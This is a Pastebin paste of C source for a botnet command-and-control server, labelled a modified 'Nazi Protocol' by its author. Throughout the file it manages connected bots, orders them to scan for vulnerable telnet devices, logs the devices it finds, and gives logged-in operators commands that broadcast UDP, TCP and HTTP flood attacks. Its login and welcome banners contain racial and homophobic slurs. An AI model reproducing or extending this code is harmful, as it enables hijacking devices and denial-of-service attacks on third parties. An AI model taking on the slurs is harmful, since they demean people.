ZucoCheezy

NaziProtocol-Server

Dec 1st, 2018
211
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 20.94 KB | None | 0 0
  1. //Voids Nazi Protocol
  2.  
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <string.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netdb.h>
  9. #include <unistd.h>
  10. #include <time.h>
  11. #include <fcntl.h>
  12. #include <sys/epoll.h>
  13. #include <errno.h>
  14. #include <pthread.h>
  15. #include <signal.h>
  16.  
  17. ////////////////////////////////////
  18. #define MY_MGM_PORT 23
  19. #define MAXFDS 1000000
  20. ////////////////////////////////////
  21.  
  22.  
  23. struct account {
  24.     char id[20];
  25.     char password[20];
  26. };
  27. static struct account accounts[10];
  28.  
  29. struct clientdata_t {
  30.         uint32_t ip;
  31.         char build[7];
  32.         char connected;
  33. } clients[MAXFDS];
  34.  
  35. struct telnetdata_t {
  36.         int connected;
  37. } managements[MAXFDS];
  38.  
  39.  
  40.  
  41. ////////////////////////////////////
  42.  
  43.  
  44. static volatile FILE *telFD;
  45. static volatile FILE *fileFD;
  46. static volatile int epollFD = 0;
  47. static volatile int listenFD = 0;
  48. static volatile int managesConnected = 0;
  49. static volatile int TELFound = 0;
  50. static volatile int scannerreport;
  51.  
  52.  
  53. ////////////////////////////////////
  54.  
  55.  
  56. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  57. {
  58.         int total = 0, got = 1;
  59.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  60.         return got;
  61. }
  62. void trim(char *str)
  63. {
  64.     int i;
  65.     int begin = 0;
  66.     int end = strlen(str) - 1;
  67.     while (isspace(str[begin])) begin++;
  68.     while ((end >= begin) && isspace(str[end])) end--;
  69.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  70.     str[i - begin] = '\0';
  71. }
  72.  
  73.  
  74. static int make_socket_non_blocking (int sfd)
  75. {
  76.         int flags, s;
  77.         flags = fcntl (sfd, F_GETFL, 0);
  78.         if (flags == -1)
  79.         {
  80.                 perror ("fcntl");
  81.                 return -1;
  82.         }
  83.         flags |= O_NONBLOCK;
  84.         s = fcntl (sfd, F_SETFL, flags);
  85.         if (s == -1)
  86.         {
  87.                 perror ("fcntl");
  88.                 return -1;
  89.         }
  90.         return 0;
  91. }
  92.  
  93.  
  94. static int create_and_bind (char *port)
  95. {
  96.         struct addrinfo hints;
  97.         struct addrinfo *result, *rp;
  98.         int s, sfd;
  99.         memset (&hints, 0, sizeof (struct addrinfo));
  100.         hints.ai_family = AF_UNSPEC;
  101.         hints.ai_socktype = SOCK_STREAM;
  102.         hints.ai_flags = AI_PASSIVE;
  103.         s = getaddrinfo (NULL, port, &hints, &result);
  104.         if (s != 0)
  105.         {
  106.                 fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  107.                 return -1;
  108.         }
  109.         for (rp = result; rp != NULL; rp = rp->ai_next)
  110.         {
  111.                 sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  112.                 if (sfd == -1) continue;
  113.                 int yes = 1;
  114.                 if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  115.                 s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  116.                 if (s == 0)
  117.                 {
  118.                         break;
  119.                 }
  120.                 close (sfd);
  121.         }
  122.         if (rp == NULL)
  123.         {
  124.                 fprintf (stderr, "Could not bind\n");
  125.                 return -1;
  126.         }
  127.         freeaddrinfo (result);
  128.         return sfd;
  129. }
  130. void broadcast(char *msg, int us, char *sender)
  131. {
  132.         int sendMGM = 1;
  133.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  134.         char *wot = malloc(strlen(msg) + 10);
  135.         memset(wot, 0, strlen(msg) + 10);
  136.         strcpy(wot, msg);
  137.         trim(wot);
  138.         time_t rawtime;
  139.         struct tm * timeinfo;
  140.         time(&rawtime);
  141.         timeinfo = localtime(&rawtime);
  142.         char *timestamp = asctime(timeinfo);
  143.         trim(timestamp);
  144.         int i;
  145.         for(i = 0; i < MAXFDS; i++)
  146.         {
  147.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  148.                 if(sendMGM && managements[i].connected)
  149.                 {
  150.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  151.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  152.                         send(i, ": ", 2, MSG_NOSIGNAL);
  153.                 }
  154.                 printf("sent to fd: %d\n", i);
  155.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  156.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  157.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  158.         }
  159.         free(wot);
  160. }
  161.  
  162. void *epollEventLoop(void *useless)
  163. {
  164.         struct epoll_event event;
  165.         struct epoll_event *events;
  166.         int s;
  167.         events = calloc (MAXFDS, sizeof event);
  168.         while (1)
  169.         {
  170.                 int n, i;
  171.                 n = epoll_wait (epollFD, events, MAXFDS, -1);
  172.                 for (i = 0; i < n; i++)
  173.                 {
  174.                         if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  175.                         {
  176.                                 clients[events[i].data.fd].connected = 0;
  177.                                 close(events[i].data.fd);
  178.                                 continue;
  179.                         }
  180.                         else if (listenFD == events[i].data.fd)
  181.                         {
  182.                                 while (1)
  183.                                 {
  184.                                         struct sockaddr in_addr;
  185.                                         socklen_t in_len;
  186.                                         int infd, ipIndex;
  187.  
  188.                                         in_len = sizeof in_addr;
  189.                                         infd = accept (listenFD, &in_addr, &in_len);
  190.                                         if (infd == -1)
  191.                                         {
  192.                                                 if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  193.                                                 else
  194.                                                 {
  195.                                                         perror ("accept");
  196.                                                         break;
  197.                                                 }
  198.                                         }
  199.  
  200.                                         clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  201.  
  202.                                         int dup = 0;
  203.                                         for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  204.                                         {
  205.                                                 if(!clients[ipIndex].connected || ipIndex == infd) continue;
  206.  
  207.                                                 if(clients[ipIndex].ip == clients[infd].ip)
  208.                                                 {
  209.                                                         dup = 1;
  210.                                                         break;
  211.                                                 }
  212.                                         }
  213.  
  214.                                         if(dup)
  215.                                         {
  216.                                                 printf("DUP Client - Terminating\n");
  217.                                                 if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  218.                                                 if(send(infd, "DUP\n", 4, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  219.                                                 close(infd);
  220.                                                 continue;
  221.                                         }
  222.  
  223.                                         s = make_socket_non_blocking (infd);
  224.                                         if (s == -1) { close(infd); break; }
  225.  
  226.                                         event.data.fd = infd;
  227.                                         event.events = EPOLLIN | EPOLLET;
  228.                                         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  229.                                         if (s == -1)
  230.                                         {
  231.                                                 perror ("epoll_ctl");
  232.                                                 close(infd);
  233.                                                 break;
  234.                                         }
  235.  
  236.                                         clients[infd].connected = 1;
  237.                                         send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  238.                                        
  239.                                 }
  240.                                 continue;
  241.                         }
  242.                         else
  243.                         {
  244.                                 int thefd = events[i].data.fd;
  245.                                 struct clientdata_t *client = &(clients[thefd]);
  246.                                 int done = 0;
  247.                                 client->connected = 1;
  248.                                 while (1)
  249.                                 {
  250.                                         ssize_t count;
  251.                                         char buf[2048];
  252.                                         memset(buf, 0, sizeof buf);
  253.  
  254.                                         while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  255.                                         {
  256.                                                 if(strstr(buf, "\n") == NULL) { done = 1; break; }
  257.                                                 trim(buf);
  258.                                                 if(strcmp(buf, "PING") == 0) // basic IRC-like ping/pong challenge/response to see if server is alive
  259.                                                 {
  260.                                                 if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; } // response
  261.                                                         continue;
  262.                                                 }
  263.                                                 if(strstr(buf, "REPORT ") == buf) // received a report of a vulnerable system from a scan
  264.                                                 {
  265.                                                         char *line = strstr(buf, "REPORT ") + 7;
  266.                                                         fprintf(telFD, "%s\n", line); // let's write it out to disk without checking what it is!
  267.                                                         fflush(telFD);
  268.                                                         TELFound++;
  269.                                                         continue;
  270.                                                 }
  271.                                                 if(strstr(buf, "PROBING") == buf)
  272.                                                 {
  273.                                                         char *line = strstr(buf, "PROBING");
  274.                                                         scannerreport = 1;
  275.                                                         continue;
  276.                                                 }
  277.                                                 if(strstr(buf, "REMOVING PROBE") == buf)
  278.                                                 {
  279.                                                         char *line = strstr(buf, "REMOVING PROBE");
  280.                                                         scannerreport = 0;
  281.                                                         continue;
  282.                                                 }
  283.                                                 if(strcmp(buf, "PONG") == 0)
  284.                                                 {
  285.                                                         continue;
  286.                                                 }
  287.  
  288.                                                 printf("buf: \"%s\"\n", buf);
  289.                                         }
  290.  
  291.                                         if (count == -1)
  292.                                         {
  293.                                                 if (errno != EAGAIN)
  294.                                                 {
  295.                                                         done = 1;
  296.                                                 }
  297.                                                 break;
  298.                                         }
  299.                                         else if (count == 0)
  300.                                         {
  301.                                                 done = 1;
  302.                                                 break;
  303.                                         }
  304.                                 }
  305.  
  306.                                 if (done)
  307.                                 {
  308.                                         client->connected = 0;
  309.                                         close(thefd);
  310.                                 }
  311.                         }
  312.                 }
  313.         }
  314. }
  315.  
  316. unsigned int clientsConnected()
  317. {
  318.         int i = 0, total = 0;
  319.         for(i = 0; i < MAXFDS; i++)
  320.         {
  321.                 if(!clients[i].connected) continue;
  322.                 total++;
  323.         }
  324.  
  325.         return total;
  326. }
  327.  
  328. void *titleWriter(void *sock)
  329. {
  330.         int thefd = (int)sock;
  331.         char string[2048];
  332.         while(1)
  333.         {
  334.                 memset(string, 0, 2048);
  335.                 sprintf(string, "%c]0;Bots connected: %d | Operators connected: %d%c", '\033', clientsConnected(), managesConnected, '\007');
  336.                 if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  337.  
  338.                 sleep(2);
  339.         }
  340. }
  341.  
  342. int Search_in_File(char *str)
  343. {
  344.     FILE *fp;
  345.     int line_num = 0;
  346.     int find_result = 0, find_line=0;
  347.     char temp[512];
  348.  
  349.     if((fp = fopen("login.txt", "r")) == NULL){
  350.         return(-1);
  351.     }
  352.     while(fgets(temp, 512, fp) != NULL){
  353.         if((strstr(temp, str)) != NULL){
  354.             find_result++;
  355.             find_line = line_num;
  356.         }
  357.         line_num++;
  358.     }
  359.     if(fp)
  360.         fclose(fp);
  361.  
  362.     if(find_result == 0)return 0;
  363.  
  364.     return find_line;
  365. }
  366.  
  367. void *telnetWorker(void *sock)
  368. {
  369.         char usernamez[80];
  370.         int thefd = (int)sock;
  371.         int find_line;
  372.         managesConnected++;
  373.         pthread_t title;
  374.         char counter[2048];
  375.         memset(counter, 0, 2048);
  376.         char buf[2048];
  377.         char* nickstring;
  378.         char* username;
  379.         char* password;
  380.         memset(buf, 0, sizeof buf);
  381.         char botnet[2048];
  382.         memset(botnet, 0, 2048);
  383.    
  384.         FILE *fp;
  385.         int i=0;
  386.         int c;
  387.         fp=fopen("login.txt", "r"); // format: user pass
  388.         while(!feof(fp))
  389.         {
  390.                 c=fgetc(fp);
  391.                 ++i;
  392.         }
  393.         int j=0;
  394.         rewind(fp);
  395.         while(j!=i-1)
  396.         {
  397.             fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  398.             ++j;
  399.         }
  400.        
  401.         if(send(thefd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  402.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  403.         trim(buf);
  404.         sprintf(usernamez, buf);
  405.         nickstring = ("%s", buf);
  406.         find_line = Search_in_File(nickstring);
  407.         if(strcmp(nickstring, accounts[find_line].id) == 0){                   
  408.         if(send(thefd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  409.         if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  410.         trim(buf);
  411.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  412.         memset(buf, 0, 2048);
  413.         goto fak;
  414.         }
  415.         failed:
  416.         if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  417.         if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  418.         if(send(thefd, "\x1b[31m*          INVALID CREDENTIALS         *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  419.         if(send(thefd, "\x1b[31m*        FUCK OFF FAGGOT, LOGGED       *\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  420.         if(send(thefd, "\x1b[31m****************************************\r\n", 48, MSG_NOSIGNAL) == -1) goto end;
  421.         sleep(5);
  422.         goto end;
  423.         fak:
  424.        
  425.         pthread_create(&title, NULL, &titleWriter, sock);
  426.         char line1[80];
  427.         char line2[80];
  428.        
  429.         sprintf(line1, "*          WELCOME TO THE \x1b[0;33mVOID\x1b[0;31m          *\r\n");
  430.         sprintf(line2, "*        Now with \x1b[0;33mnigger \x1b[0;31msupport        *\r\n");
  431.        
  432.         if(send(thefd, "\x1b[0;31m*****************************************\r\n", 52, MSG_NOSIGNAL) == -1) goto end;
  433.         if(send(thefd, line1, strlen(line1), MSG_NOSIGNAL) == -1) goto end;
  434.         if(send(thefd, line2, strlen(line2), MSG_NOSIGNAL) == -1) goto end;
  435.         if(send(thefd, "*****************************************\r\n\r\n> \x1b[0m", 51, MSG_NOSIGNAL) == -1) goto end;
  436.         pthread_create(&title, NULL, &titleWriter, sock);
  437.         managements[thefd].connected = 1;
  438.        
  439.         while(fdgets(buf, sizeof buf, thefd) > 0)
  440.         {
  441.         if(strstr(buf, "!* STATUS"))
  442.         {
  443.           sprintf(botnet, "Telnet devices: %d | Telnet status: %d\r\n", TELFound, scannerreport);
  444.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  445.         }  
  446.         if(strstr(buf, "!* BOTS"))
  447.         {  
  448.           sprintf(botnet, "Bots connected: %d | Operators connected: %d\r\n", clientsConnected(), managesConnected);
  449.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  450.         }
  451.         if(strstr(buf, "!* HELP"))
  452.         {  
  453.           sprintf(botnet, "!* HELP - Displays This\n!* UDP IP PORT TIME 32 0 1 - UDP Flood\n!* TCP IP PORT TIME 32 0 1 - TCP Flood\n!* HTTP URL TIME - HTTP Flood\n!* STATUS - Shows The Status Of Telnet Scanner\n!* KILL - Kill Attacks\nENJOY THE NULL COASTER\n");
  454.           if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  455.         }
  456.        
  457.                 trim(buf);
  458.                 if(send(thefd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  459.                 if(strlen(buf) == 0) continue;
  460.                 printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  461.                 FILE *logFile;
  462.                 logFile = fopen("server.log", "a");
  463.                 fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  464.                 fclose(logFile);
  465.                 broadcast(buf, thefd, usernamez);
  466.                 memset(buf, 0, 2048);
  467.         }
  468.  
  469.         end:    // cleanup dead socket
  470.                 managements[thefd].connected = 0;
  471.                 close(thefd);
  472.                 managesConnected--;
  473. }
  474.  
  475. void *telnetListener(void *useless)
  476. {
  477.         int sockfd, newsockfd;
  478.         socklen_t clilen;
  479.         struct sockaddr_in serv_addr, cli_addr;
  480.         sockfd = socket(AF_INET, SOCK_STREAM, 0);
  481.         if (sockfd < 0) perror("ERROR opening socket");
  482.         bzero((char *) &serv_addr, sizeof(serv_addr));
  483.         serv_addr.sin_family = AF_INET;
  484.         serv_addr.sin_addr.s_addr = INADDR_ANY;
  485.         serv_addr.sin_port = htons(MY_MGM_PORT);
  486.         if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  487.         listen(sockfd,5);
  488.         clilen = sizeof(cli_addr);
  489.         while(1)
  490.         {
  491.                 newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  492.                 if (newsockfd < 0) perror("ERROR on accept");
  493.                 pthread_t thread;
  494.                 pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  495.         }
  496. }
  497.  
  498. int main (int argc, char *argv[], void *sock)
  499. {
  500.         signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  501.  
  502.         int s, threads;
  503.         struct epoll_event event;
  504.  
  505.         if (argc != 4)
  506.         {
  507.                 fprintf (stderr, "Usage: %s [port] [threads]\n", argv[0]);
  508.                 exit (EXIT_FAILURE);
  509.         }
  510.        
  511.         printf("Modified Nazi Protocol By Void - Enjoy.\n");
  512.         telFD = fopen("telnet.txt", "a+");
  513.         threads = atoi(argv[2]);
  514.        
  515.         listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  516.         if (listenFD == -1) abort ();
  517.  
  518.         s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  519.         if (s == -1) abort ();
  520.  
  521.         s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  522.         if (s == -1)
  523.         {
  524.                 perror ("listen");
  525.                 abort ();
  526.         }
  527.  
  528.         epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  529.         if (epollFD == -1)
  530.         {
  531.                 perror ("epoll_create");
  532.                 abort ();
  533.         }
  534.  
  535.         event.data.fd = listenFD;
  536.         event.events = EPOLLIN | EPOLLET;
  537.         s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  538.         if (s == -1)
  539.         {
  540.                 perror ("epoll_ctl");
  541.                 abort ();
  542.         }
  543.  
  544.         pthread_t thread[threads + 2];
  545.         while(threads--)
  546.         {
  547.                 pthread_create( &thread[threads + 1], NULL, &epollEventLoop, (void *) NULL); // make a thread to command each bot individually
  548.         }
  549.  
  550.         pthread_create(&thread[0], NULL, &telnetListener, (void *)NULL);
  551.  
  552.         while(1)
  553.         {
  554.                 broadcast("PING", -1, "NIGGER"); // ping bots every 60 sec on the main thread
  555.                 sleep(60);
  556.         }
  557.  
  558.         close (listenFD);
  559.  
  560.         return EXIT_SUCCESS;
  561. }
Advertisement
Add Comment
Please, Sign In to add comment